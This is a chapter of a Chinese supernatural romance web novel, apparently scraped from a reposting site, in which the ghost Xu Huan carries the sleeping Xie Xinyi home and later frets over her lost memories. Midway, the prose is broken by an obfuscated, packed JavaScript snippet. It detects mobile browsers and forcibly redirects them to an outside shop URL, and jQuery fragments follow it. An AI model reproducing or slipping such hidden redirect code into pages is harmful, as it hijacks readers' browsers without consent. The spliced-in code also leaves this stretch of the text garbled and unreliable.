43. 副作用
作品:《论如何在诡异文里避免被吃[九零]》 怀中人沉沉的睡去,不需垂耳聆听,些微的鼾声便清晰的传入徐桓的耳中。
“这一趟辛苦了。”他低垂下头,犹豫半晌才在她圆润弹软的脸侧落下一吻。
想来也可笑,起先闹着玩儿的,为了看谢欣怡窘迫的滑稽样儿亲过几次,现在真正在意时却小心得不能再小心。如果还有心跳,大概正在疯狂跳动,恨不得跳出胸膛。
以前确实有点太混蛋了。徐桓再次陷入苦恼中,第一印象不好,天知道何时才能扭转过来。
不再想闹心事,未免在这边的世界夜长梦多,徐桓抱着谢欣怡穿过破损的木质门重新框踏入人间。周身一轻,浓稠黏腻的气压被封存在另一边,身后的室外传来微微虫鸣。
“呃……”突如其来的剧痛让徐桓重心不稳往前倾倒半步,溃烂掉肉的真身也显露一瞬。
他紧紧护着怀中的人不让其颠簸,对自身略略检查了一番。是派出保护谢欣怡的良心回来了,被玩伴最后的执念耽搁半晌,拖着一身伤连带着反馈在自己这个本尊身上。
徐桓又等了半刻,没有任何记忆共享,也不知道是受伤太重把脑子打坏了还是怎样,今天的情况从未发生过。
“怎么,连‘我’自己都有小秘密了?”他调侃着转身,准备回家。
楼外的景象压缩扭曲,渐渐隐在一层层覆盖的浓雾之后,新建的小径从楼门向远处延伸直达谢欣怡的家。抬腿刚要踏上小径却异象突变,原本趋于平静的雾气突然如海浪般翻涌,打开的道路在一阵坍塌的轰隆声中分崩离析。
徐桓挑挑一侧的眉有些意外,没想到今天竟被削弱得如此严重。不过一想也是,这一战可谓背腹受敌,代表自身的暴食和良心都受了重伤——其中一个还是被自己揍的,玩伴作为顽固分子的实力也不容小觑,闹得现在连小径都做不出来了。
此时此刻徐桓庆幸自己没有急着踏上去,不然跌入虚空他们两个都活不了。
“算了,走回去吧。”他调整了下臂膀的姿势,让怀里的人睡得更安稳。
回家的路并不遥远,徐桓略略放缓步伐拉长了他与谢欣怡的独处,均匀的呼吸声成了这个夜间最动听的伴奏。这大概是这么多年难得惬意的夜晚,璀璨夺目的星空不再是恼人的窥视一切的眼睛,习习夜风也不再是窃笑人生失意的噪音,一切回归本貌,成为夜间的点缀。
他深刻的明白是谢欣怡把这些拉回了正轨,只有她能让燥郁的心下沉。
筒子楼愈发的近了,再过十来分钟谢欣怡就能躺回她的小窝,呼呼重新变成小纸片人钻入发间护其安全,今晚的事不过是人生中小小的一隅,几日后她又会为其它事烦恼。
噼啪。
玻璃碎裂的声音从旁传来,徐桓不为所动继续向前走着,每落下一步,相近的玻璃窗跟着碎成蛛网,里面住着的鬼在以这种方式表达自己的愤怒。
难得的夜晚被不解风情的东西破坏,徐桓冷眼瞟向碎裂的玻璃窗,不同的裂面上映着他各个角度的不屑样。
“你也就这点本事了。”他冷嗤,“有本事出来打一架,看看谁才是老大。”
他紧瞧不上这个只知道在镜子里躲清闲的家伙,到底是有多弱连露面都不敢,这种东西竟然挤在自己之前成为谢欣怡的第一个供奉,凭什么!
-你明明可以自己解决-
冷到滴血的寒意从玻璃中吹拂而过,赤红的双眼一闪而过。
徐桓垂眸看了眼刚被削下去一块的肩头,原来这家伙也不是徒有其表。他随意动了动肩,削掉的部位顷刻恢复如初。
“时间长短的问题,但你能保证谢欣怡在这期间的安全吗?”徐桓刻意顿了顿,如他所料的里面没了声音,“连我都不能,你又算什么东西,别在这里碍眼。”之后的几个字他加重声音,“谢欣怡养的寄生虫。”
显然这句话刺痛了对方,碎裂的玻璃恢复如初,某人黯然离去。
许是刚才声音大了些,谢欣怡不安地动了动,也更加贴靠,几乎整个人都要埋入徐桓的怀中。
“真是,”徐桓笑得温和,早没了刚才的凶神恶煞样,“别挨太近了,我身上可凉。”他又看向一旁的玻璃,据他所知没有扎住在里面的厉鬼,镜面可以是媒介,独独不是一个合适的住所。
“撤回前言。”能在里面穿梭的东西约莫不是很么好惹的刺儿头,只是现在太弱必须躲避锋芒。
.
安逸舒适的日常并没有如徐桓想象般到来,这次附身带来的后遗症如滔天骇浪,裹挟着谢欣怡食不下咽,夜不能寐。不过两天的功夫,肉眼可见的消瘦下来。
这次徐桓没像以前毒舌的嘲讽她的羸弱——他哪儿敢,心疼都来不及,甚至在她勉强吃下一口食物却吐得昏天黑地的时候帮忙收拾。
“我不会感谢你。”谢欣怡虚弱的躺在床上看悬在半空的抹布丢下这么一句。
或许是消耗太大,这几日连一点鬼影都看不到,倒是眼不见心不烦,可架不住那位变着法的刷存在。
“弄完了就走吧,我想休息。别忘了给小八换水喂食。”她合上眼前特地嘱咐,仗着自己是实打实的病号晾徐桓也不会把自己怎样,语气说不上有多好,总归厌恶是有。
“等等,先别睡呢,快说说有没有什么想吃的,我托梦让人带点来。”徐桓凑过来轻戳已经陷入昏睡的人,奈何她现在看不到也听不着,这点言语一个字都传达不出去。
倒是呼呼从发缝里钻出,追着他的手指咬。
“别闹。”徐桓把小纸片弹去一边,他可知道这小玩意儿还在气自己没有护好谢欣怡,已经完完全全抛下制作者把她当主人看待。
不再管呼呼乱七八糟的叫嚣,徐桓趴在床沿一手撩起谢欣怡额前的碎发露出她微皱的眉眼。他现在觉得没意思极了,没了她的注视,世界安安静静,隔着生死的鸿沟让他再次体会到死的寂寥。
“呜嗯……”谢欣怡发出一声微不可闻的闷哼,难受得缩成一团,眉头皱得更紧带着脸也紧绷绷的,叫人看得揪心。
徐桓死了太久早已忘记疼的感觉,瞧她难受的样子弄得他想替人受一回。
“快点好起来吧。”他微微撑起身,轻柔的吻落在额间,“不再让你当饵了。”
在徐桓转身跟小八斗智斗勇的时候,谢欣怡翻了不知多少回身。
她睡得并不踏实,又做起了被人持刀追赶的噩梦。那身影不甚熟悉,让她想要停上半刻迎上对方的小刀去抱一抱,抱一抱这辈子再也遇不见的亲人。可她的双腿并不听使唤,一个劲儿地向前跑着,不肯停下。
“妈妈……”她在梦外低声呢喃,一行泪顺着眼尾滑落。
.
许是得益于体质的原因,谢欣怡在第四天便又活蹦乱跳,追着给睡乱头发的小丫头编辫子。
“诶,别跑,老师不揪你头发。”毕竟也是受过的苦,谢欣怡可懂小孩子的抗拒。
好不容易用小八把人哄住,小丫头轻抚着快有她手掌大小的小鸡,乖巧地低下头让谢欣怡用她的头发编织大作。
“疼了就说哦。”面对孩子,声音和语气说不尽的温柔,就是对一旁双手托腮的某人没好脸色。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16925992|190957||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
-大白天的不怕阳光了?-
她张张嘴无声询问,摆明在轰人走。
“想看小谢老师的手艺。”徐桓做了个鬼脸就是不走。
-等会让小八叨你-
谢欣怡又噎了句不再管他,手上动作轻柔地给小丫头编起小辫。她的手说不上灵巧,但好歹用自己的头发练习过,不多时紧紧编在一起的四股小辫凹了个兔子耳朵的造型,小丫头开心的不得了搂住谢欣怡使劲亲了一口。
“谢谢老师!”她欢天喜地,恨不得跟全世界炫耀。
徐桓看她们凑近又分离,小孩的嘴唇轻触到谢欣怡脸颊的那一瞬,脑中浮现出奇怪的画面。那不是他的记忆,谢欣怡穿着病号服站在天台上焦急地说着什么,大风刮乱了她的头发凌乱的披散着。紧接着视野骤然贴近,她的脸无限放大,连汗毛都看得一清二楚。然后是令人欲罢不能的柔软触感转瞬即逝,就见她面目通红,不敢置信地瞪大双眼。
画面到这里结束,徐桓先是震惊,等反应过来那个记忆代表的意思,惊慌失措地捂住嘴。如果身体还有温度,他现在约莫能烧开一壶水。
那个家伙做了什么?他派去保护谢欣怡的良心做了什么!要不是良心还在恢复,他一定要拉出来质问一番。
你不是良心吗!他在心中无声尖叫,良心怎么能,怎么能……
他沉下地板进入属于他们的世界,寂静的浓雾包裹住破防的厉鬼,又被他的拳打脚踢搅浑。
“她记得多少?她会不会误会?不会以为我、我……”
徐桓没再言语,他确实喜欢她,这是无可争辩的事实,只是顺序错了,他这个本尊都还没吻过她的唇,那个良心怎么能干出半路截胡的事呢!
“过分!”头次暗恋的小子气急败坏,叛徒竟然出自自己人!
.
徐桓迫切地想要知道谢欣怡有没有诡境里的记忆,虽然现在看来是没有,但如果是她装的呢?因为讨厌自己而对良心做的事更加厌恶,她哪儿知道那根本不是他,只会连带着降罪。
“谢欣怡,”他问了,他鼓起勇气问了,“你还记得多少在诡境里的事?”
“诡境?”谢欣怡有些纳闷,他问这个做什么,“哪个诡境?”
“你经历过好几个诡境吗?”徐桓的声音陡然拔高,他怎么不知道她经历过那么多次危机。
“‘诞’一次,路淼家一次,爬山一次,泳池一次,”谢欣怡掰着手指仔细回想,“呃……好像就这些?”
完全没提玩伴那次,再看她的样子是真的不记得。徐桓说不清是松心还是失望,但里面明显掺了两个自己不知道的事。
“你朋友家那次是小卷毛把我关起来那天?泳池又是怎么回事?”徐桓阴着脸,就等答案出来跑去揍人。
看他眼角渗血就差变回真身的惊悚样子,谢欣怡无语极了,她一个大活人好好的站在这里还管之前的事做什么?难道他干的那些好事就不危险了?
“这些与你无关。”她不客气地指指点点,“真要担心你以后没饭吃,不如少把我往危险的地方拽。”
看样子玩伴的事暂且无法翻篇,徐桓心虚地立正站好,把话题往别的方向带:“白展邱也不是什么好东西,我担心你吃亏。”
“他好歹也救过我。”谢欣怡又补充一句,“顺便一提我也在供奉他,他归我罩。”
“谢欣怡!”徐桓要闹了,“你不能谁都供啊!”
不听不听,王八念经。谢欣怡捂住耳朵出门闲逛,暑假没有几天了,她可不想在家里浪费时间。

